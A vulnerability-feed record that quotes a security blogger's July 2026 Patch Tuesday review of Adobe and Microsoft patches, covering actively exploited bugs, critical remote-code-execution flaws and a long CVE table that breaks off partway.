flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:16.688444Z"}, {"uuid": "42d144f1-aaf9-4774-a15f-b178d9f30fbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54127", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  